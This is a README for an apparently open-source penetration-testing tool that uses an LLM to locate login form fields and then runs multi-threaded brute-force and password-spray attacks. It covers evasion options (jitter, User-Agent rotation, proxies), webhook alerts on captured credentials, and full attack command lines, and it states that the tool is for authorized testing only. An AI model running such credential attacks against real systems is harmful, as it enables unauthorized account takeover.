Advanced LLM-powered brute-force tool combining AI intelligence with automated login attacks
Features • Installation • Usage • Examples • Configuration • License
BruteForceAI is an advanced penetration testing tool that revolutionizes traditional brute-force attacks by integrating Large Language Models (LLM) for intelligent form analysis. The tool automatically identifies login form selectors using AI, then executes sophisticated multi-threaded attacks with human-like behavior patterns.
- Stage 1 (AI Analysis): LLM analyzes HTML content to identify login form elements and selectors
- Stage 2 (Smart Attack): Executes intelligent brute-force attacks using AI-discovered selectors
- Multi-threaded execution with synchronized delays
- Bruteforce & Password Spray attack modes
- Human-like timing with jitter and randomization
- User-Agent rotation for better evasion
- Webhook notifications (Discord, Slack, Teams, Telegram)
- Comprehensive logging with SQLite database
- LLM-powered form selector identification (Ollama/Groq)
- Automatic retry with feedback learning
- DOM change detection for success validation
- Smart HTML content extraction
- Bruteforce Mode: Try all username/password combinations
- Password Spray Mode: Test each password against all usernames
- Multi-threaded execution (1-100+ threads)
- Synchronized delays between attempts for same user
- Random User-Agent rotation
- Configurable delays with jitter
- Human-like timing patterns
- Proxy support
- Browser visibility control
- Real-time webhook notifications on success
- Comprehensive SQLite logging
- Verbose timestamped output
- Success exit after first valid credentials
- Skip existing attempts (duplicate prevention)
- Output capture to files
- Colorful terminal interface
- Network error retry mechanism
- Force retry existing attempts
- Database management tools
- Automatic update checking from mordavid.com
# Python 3.8 or higher
python --version
# Install Playwright browsers
playwright install chromiumpip install -r requirements.txtRequired packages:
playwright- Browser automationrequests- HTTP requestsPyYAML- YAML parsing for update checks
# Install Ollama
curl -fsSL https://ollama.ai/install.sh | sh
# Pull recommended model
ollama pull llama3.2:3b- Get API key from Groq Console
- Use with
--llm-provider groq --llm-api-key YOUR_KEY
Ollama (Local):
llama3.2:3b- Default, good balance of speed and qualityllama3.2:1b- Fastest, smaller model for quick analysisqwen2.5:3b- Alternative with good performance
Groq (Cloud):
llama-3.3-70b-versatile- Default & Best - Latest model with superior quality (1 attempt)llama3-70b-8192- Fast and reliable alternative (1 attempt)gemma2-9b-it- Lightweight option, good for simple forms (1 attempt)llama-3.1-8b-instant-⚠️ Not recommended (rate limiting issues, 3+ attempts)
# Best quality (recommended for complex forms)
python main.py analyze --urls targets.txt --llm-provider groq --llm-model llama-3.3-70b-versatile --llm-api-key YOUR_KEY
# Fast and reliable
python main.py analyze --urls targets.txt --llm-provider groq --llm-model llama3-70b-8192 --llm-api-key YOUR_KEY
# Lightweight for simple forms
python main.py analyze --urls targets.txt --llm-provider groq --llm-model gemma2-9b-it --llm-api-key YOUR_KEY
# Local processing (no API key needed)
python main.py analyze --urls targets.txt --llm-provider ollama --llm-model llama3.2:3bpython main.py analyze --urls urls.txt --llm-provider ollamapython main.py attack --urls urls.txt --usernames users.txt --passwords passwords.txt --threads 10python main.py <command> [options]analyze- Analyze login forms with LLMattack- Execute brute-force attacksclean-db- Clean database tablescheck-updates- Check for software updates
# Step 1: Analyze forms
python main.py analyze --urls targets.txt --llm-provider ollama --llm-model llama3.2:3b
# Step 2: Attack with 20 threads
python main.py attack --urls targets.txt --usernames users.txt --passwords passwords.txt --threads 20 --delay 5 --jitter 2python main.py attack \
--urls targets.txt \
--usernames users.txt \
--passwords passwords.txt \
--mode passwordspray \
--threads 15 \
--delay 10 \
--jitter 3 \
--success-exit \
--user-agents user_agents.txt \
--verbose \
--output results.txtpython main.py attack \
--urls targets.txt \
--usernames users.txt \
--passwords passwords.txt \
--discord-webhook "https://discord.com/api/webhooks/..." \
--slack-webhook "https://hooks.slack.com/services/..." \
--threads 10python main.py analyze \
--urls targets.txt \
--show-browser \
--browser-wait 5 \
--debug \
--llm-provider ollama# Check for software updates
python main.py check-updates
# Check with output to file
python main.py check-updates --output update_check.txt# Check for updates manually (same as automatic but can save to file)
python main.py check-updates
# Check with output to file
python main.py check-updates --output update_check.txt# Skip version check completely for faster startup
python main.py analyze --urls targets.txt --skip-version-check
python main.py attack --urls targets.txt --usernames users.txt --passwords passwords.txt --skip-version-check
# Also works as global flag (before subcommand)
python main.py --skip-version-check analyze --urls targets.txt| Parameter | Description | Default |
|---|---|---|
--llm-provider |
LLM provider (ollama/groq) | ollama |
--llm-model |
Model name | llama3.2:3b (ollama), llama-3.3-70b-versatile (groq) |
--llm-api-key |
API key for Groq | None |
--selector-retry |
Retry attempts for selectors | 10 |
--force-reanalyze |
Force re-analysis | False |
| Parameter | Description | Default |
|---|---|---|
--mode |
Attack mode (bruteforce/passwordspray) | bruteforce |
--threads |
Number of threads | 1 |
--delay |
Delay between attempts (seconds) | 0 |
--jitter |
Random jitter (seconds) | 0 |
--success-exit |
Stop after first success | False |
--force-retry |
Retry existing attempts | False |
| Parameter | Description | Default |
|---|---|---|
--dom-threshold |
DOM difference threshold | 100 |
--retry-attempts |
Network retry attempts | 3 |
| Parameter | Description | Default |
|---|---|---|
--user-agents |
User-Agent file | None |
--proxy |
Proxy server | None |
--show-browser |
Show browser window | False |
--browser-wait |
Wait time when visible | 0 |
| Parameter | Description | Default |
|---|---|---|
--verbose |
Detailed timestamps | False |
--debug |
Debug information | False |
--output |
Save output to file | None |
--no-color |
Disable colors | False |
| Parameter | Description |
|---|---|
--discord-webhook |
Discord webhook URL |
--slack-webhook |
Slack webhook URL |
--teams-webhook |
Teams webhook URL |
--telegram-webhook |
Telegram bot token |
--telegram-chat-id |
Telegram chat ID |
BruteForceAI includes simple update checking to keep you informed about new releases.
- Checks for updates every time the tool starts
- Shows one-line status: either "✅ up to date" or "🔄 Update available"
- Quick 3-second timeout - no delays
- Silent network failure (no error messages)
- Skip with:
--skip-version-checkflag
# Check for updates manually (same as automatic but can save to file)
python main.py check-updates
# Check with output to file
python main.py check-updates --output update_check.txt- Up to date:
✅ BruteForceAI v1.0.0 is up to date - Update available:
🔄 Update available: v1.0.0 → v1.1.0 | Download: https://github.com/...
- Timeout: 3 seconds maximum
- No delays: Instant if network unavailable
- No spam: One simple line per check
Updates are checked against: https://mordavid.com/md_versions.yaml
BruteForceAI uses SQLite database (bruteforce.db) with two main tables:
Stores LLM analysis results for each URL.
Logs all attack attempts with results and metadata.
# Clean all data
python main.py clean-db
# View database
sqlite3 bruteforce.db
.tables
.schema- Create webhook in Discord server settings
- Use webhook URL with
--discord-webhook
- Create Slack app with incoming webhooks
- Use webhook URL with
--slack-webhook
- Add "Incoming Webhook" connector to Teams channel
- Use webhook URL with
--teams-webhook
- Create bot with @BotFather
- Get bot token and chat ID
- Use
--telegram-webhook TOKEN --telegram-chat-id CHAT_ID
FOR EDUCATIONAL AND AUTHORIZED TESTING ONLY
This tool is designed for:
- ✅ Authorized penetration testing
- ✅ Security research and education
- ✅ Testing your own applications
- ✅ Bug bounty programs with proper scope
DO NOT USE FOR:
- ❌ Unauthorized access to systems
- ❌ Illegal activities
- ❌ Attacking systems without permission
Users are responsible for complying with all applicable laws and regulations. The author assumes no liability for misuse of this tool.
- ✨ Initial release
- 🧠 LLM-powered form analysis
- ⚡ Multi-threaded attacks
- 🎭 Advanced evasion techniques
- 🔔 Webhook notifications
- 📊 Comprehensive logging
- 🔄 Automatic update checking
Mor David - Offensive Security Specialist & AI Security Researcher
I specialize in offensive security with a focus on integrating Artificial Intelligence and Large Language Models (LLM) into penetration testing workflows. My expertise combines traditional red team techniques with cutting-edge AI technologies to develop next-generation security tools.
- LinkedIn: linkedin.com/in/mor-david-cyber
- Website: www.mordavid.com
Join our cybersecurity community for the latest in offensive security, AI integration, and advanced penetration testing techniques:
RootSec is a community of security professionals, researchers, and enthusiasts sharing knowledge about:
- Advanced penetration testing techniques
- AI-powered security tools
- Red team methodologies
- Security research and development
- Industry insights and discussions
This project is licensed under the Non-Commercial License.
- ✅ Permitted: Personal use, education, research, authorized testing
- ❌ Prohibited: Commercial use, redistribution for profit, unauthorized attacks
- 📋 Requirements: Attribution, same license for derivatives
See the LICENSE.md file for complete terms and conditions.
- Playwright Team - For the excellent browser automation framework
- Ollama Project - For making local LLM deployment accessible
- Groq - For high-performance LLM inference
- Security Community - For continuous feedback and improvements
⭐ Star this repository if you find it useful!
Made with ❤️ by Mor David | Join RootSec Community